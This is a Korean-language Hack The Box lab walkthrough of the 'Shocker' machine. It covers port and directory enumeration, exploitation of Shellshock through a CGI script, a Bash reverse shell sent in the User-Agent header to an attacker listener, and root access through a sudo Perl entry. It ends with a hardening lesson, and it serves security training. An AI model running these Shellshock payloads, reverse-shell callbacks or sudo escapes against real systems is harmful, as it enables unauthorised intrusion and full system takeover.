
HTB 워크스루를 구조화하여 CGI 디렉토리 퍼징을 통한 Shellshock(CVE-2014-6271) 취약점 활용과 잘못 구성된 sudo Perl 권한을 통한 권한 상승(GTFOBins 사용)을 보여줍니다.
구조화된 전문적인 분석 보고서로, 중요한 Shellshock 취약점을 식별하고 수동으로 악용하는 과정을 보여줍니다. 이후 Linux 대상의 잘못 구성된 sudo 권한을 통해 로컬 권한 상승을 수행합니다.
10.10.10.56/usr/bin/perl)평가(assessment)는 열린 포트만 대상으로 (--open) 하고 호스트 검색 (-Pn) 및 DNS 확인 (-n)을 우회하여 빠르게 풀 포트 TCP SYN 스캔으로 시작하여 발자국(footprinting)을 가속화합니다.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
초기 스캔으로 두 개의 활성 서비스가 드러납니다. 공격적인 버전 탐지 (-sCV) 및 스크립트 기반 취약점 평가를 수행하기 위해 2차 대상 스캔을 실시합니다:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
취약점 스캔과 동시에, Apache 서버의 숨겨진 리소스를 매핑하기 위해 gobuster를 사용하여 웹 디렉터리 무차별 대입을 시작합니다. SecLists 프레임워크의 표준 워드리스트를 활용합니다:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
퍼징 과정에서 인덱싱되지 않은 /cgi-bin/ 디렉터리가 확인됩니다. 레거시 웹 배포에서 Apache 서버는 CGI(Common Gateway Interface)를 사용하여 서버 측 스크립트를 실행합니다. 머신 이름과 이 폴더의 존재를 고려하여, 환경 변수 주입 결함에 취약할 수 있는 실행 가능한 스크립트(예: .sh, .cgi)를 적극적으로 찾습니다.
추가 정보 수집을 통해 /cgi-bin/ 디렉터리 내에 user.sh라는 스크립트가 있음을 발견합니다.
Shellshock (CVE-2014-6271) 취약점은 공격자가 취약한 Bash 인스턴스가 처리하는 HTTP 요청 헤더(예: User-Agent) 내에 악의적인 함수 정의를 주입하여 임의의 운영 체제 명령을 실행할 수 있게 합니다.
원격 시스템이 /usr/bin/id 명령을 실행하도록 강제하는 개념 증명(PoC) 페이로드를 보내기 위해 사용자 정의 curl 명령을 작성합니다:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id 명령의 출력으로 응답하여 **인증 없이 원격 코드 실행(RCE)**이 가능함을 확인합니다.실행 벡터를 대화형 세션으로 업그레이드하기 위해 공격 플랫폼에 로컬 Netcat 리스너를 설정합니다:
nc -lvnp 4444
다음으로, TCP를 통한 콜백을 강제하기 위해 악의적인 User-Agent 헤더 내에 기본 Bash 리버스 셸 문자열을 주입합니다:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
성공적으로 실행되면 안정적인 낮은 권한의 셸을 획득합니다:
$ whoami
shelly
시스템에서 기능적인 사용자 컨텍스트를 확보한 후, 로컬 제한 사항을 감사합니다. shelly 사용자가 비밀번호 없이 상승된 권한으로 명령을 실행할 수 있는지 확인하기 위해 sudo 구성을 조회합니다:
sudo -l
출력은 다음과 같은 고위험 항목을 드러냅니다:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
perl 바이너리를 root로 실행할 수 있는 제한 없고 인증되지 않은 액세스 권한이 있기 때문에 바이너리 제한을 쉽게 벗어날 수 있습니다. GTFOBins를 참조하여 Perl이 실행 ID 컨텍스트(root)를 유지하면서 기본 시스템 셸(/bin/sh)로 빠져나가도록 지시하는 실행 래퍼를 찾습니다:
sudo -u root perl -e 'exec "/bin/sh"'
즉시 완전한 관리 실행 컨텍스트를 달성합니다:
# whoami
root
이제 루트 액세스가 확보되었으므로 관련 홈 디렉터리로 이동하여 침해 증거를 검색합니다.
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
sudo를 통해 perl, python, bash와 같은 강력한 내장 인터프리터를 제한 없이 실행할 수 있는 권한을 부여하면 즉각적인 권한 상승 경로가 발생합니다. Sudo 액세스는 대화형이 아니고 엄격히 통제된 관리 스크립트로 제한되어야 합니다.